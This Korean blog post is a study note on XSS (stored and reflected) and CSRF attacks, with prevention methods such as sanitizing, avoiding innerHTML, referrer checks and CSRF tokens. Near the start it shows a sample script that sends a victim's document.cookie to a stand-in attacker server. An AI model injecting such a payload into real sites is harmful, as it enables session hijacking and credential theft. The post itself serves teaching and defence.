[WEB] 웹사이트 보안 공격 : XSS / CSRF

Loopy·2022년 7월 6일
0
post-thumbnail

1) XSS 공격


XSS(Cross-Site Scripting)란, 공격자가 클라이언트 코드에 악의적인 스크립트를 주입하는 공격을 말한다.

예를 들어, 보안이 취약한 사이트에서 글을 작성하는데 나쁜 클라이언트가 의도적으로 다음과 같은 스크립트를 작성하였다고 해보자.

<script>
  let xmlHttp = new XMLHttpRequest();
  const url = "http://hackerServer.com/victimCookie=" + document.cookie;
  xmlHttp.open("GET", url);
  xmlHttp.send();
</script>

해커의 서버로 피해자의 쿠키를 get 요청으로 보내버리는 스크립트이다. 이와 같이 공격자는 사용자를 가장하여, 쿠키와 세션 토큰, 사이트에 민감한 정보들에 접근이 가능해지며 클라이언트 코드를 재작성하여 해킹하기도 한다.

웹 어플리케이션의 유효성 검사나 인코딩이 충분하지 않을 경우, 브라우저는 스크립트의 악의성을 감별할 수 없기 때문에 문제가 된다.

1️⃣ Stored XSS(persistent)

가장 일반적인 공격 유형으로 사이트 게시판이나 댓글, 닉네임 등 스크립트가 서버에 저장되어 실행되는 방식이다. 사용자가 게시물을 열람시, 공격자가 입력해놓은 악성 스크립트가 실행되어 사용자의 쿠키 정보가 유출되거나, 악성 스크립트가 기획한 공격에 당하게 된다.

예를 들어, 블로그 댓글에 악성코드를 게시하게 되면 해당 블로그를 방문하는 사람은 누구나 악성코드의 피해자가 될 수 있다.

2️⃣ Reflected XSS(non-persistent)

주로 URL 파라미터(특히 GET 방식)에 스크립트를 넣어 서버에 저장하지 않고 그 즉시 스크립트를 만드는 방식이다. 피싱 공격에서 가장 많이 사용되며, 공격자가 HTTP 요청에 악성 콘텐츠를 주입하면 그 결과가 사용자에게 "반사되는" 형태인 것이다.

🛠 XSS 공격 예방

1) User input value 제한

유저 입력값이 한정적인 범주안에서 예측 가능하다면, 드롭다운 등을 사용하여 미리 입력될 데이터값을 통제할 수 있다.

2) Sanitize value

악성 HTML을 필터링해주는 라이브러리 사용도 가능하다.

3) 스크립트 문자 필터링

DOM 상의 텍스트를 읽을 때 html 태그를 읽는 innerHTML 사용을 지양하고, textContent 등으로 메소드를 대체한다.

2) CSRF 공격(Cross-Site Request Fogery)


사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록 등)를 특정 웹사이트에 요청하게 하는 공격이다. 🌟요청을 위조하여 사용자의 권한을 이용해 서버에 대한 악성공격을 하고, 인증된 세션을 악용하며, 특정한 행동을 실행 시킨다.

즉 공격자가 사용자의 동의없이 / 사용자가 인지하지 못하는 상황에서 브라우저로 하여금 서버에 어떤 요청을 보내도록 한다. XSS 공격으로 탈취한 정보를 이 때 사용할 수 있다.

예를 들어 특정 웹사이트가 사용자의 웹 브라우저를 신용하는 상태인 로그인 된 상태에서 사이트간 요청 위조 공격 코드가 삽입된 페이지를 여는 경우가 있다.

💡 CSRF 공격 성공 2가지 조건
1) 위조 요청을 전송하는 서비스에 희생자가 로그인 상태여야함.
2) 희생자는 공격자가 만든 피싱 사이트에 접속해야함.

🛠 CSRF 공격 예방

1) Referrer 검증

Back -end 단에서 request 의 referrer을 확인하여 domain이 일치하는지 검증하는 방법이다.

2) Security Token 사용

Reffer 검증이 불가한 환경일 시, Security Token을 활용한다.
사용자 세션에 임의의 난수 값을 저장하고, 사용자의 요청마다 해당 난수 값을 포함 시켜 전송한다.

이후 Back -end 단에서, 요청을 받을 떄마다 세션에 저장된 토큰 값과 요청 파라미터에 전달되는 토큰 값이 일치한지 검증하는 방법이다.

{% crsf_token %}

출처
https://evan-moon.github.io/static/e25190005d12938c253cc72ca06777b1/21b4d/uri-structure.png
https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
https://vvshinevv.tistory.com/60 [왜 모르는가?:티스토리]

profile
개인용으로 공부하는 공간입니다. 잘못된 부분은 피드백 부탁드립니다!

0개의 댓글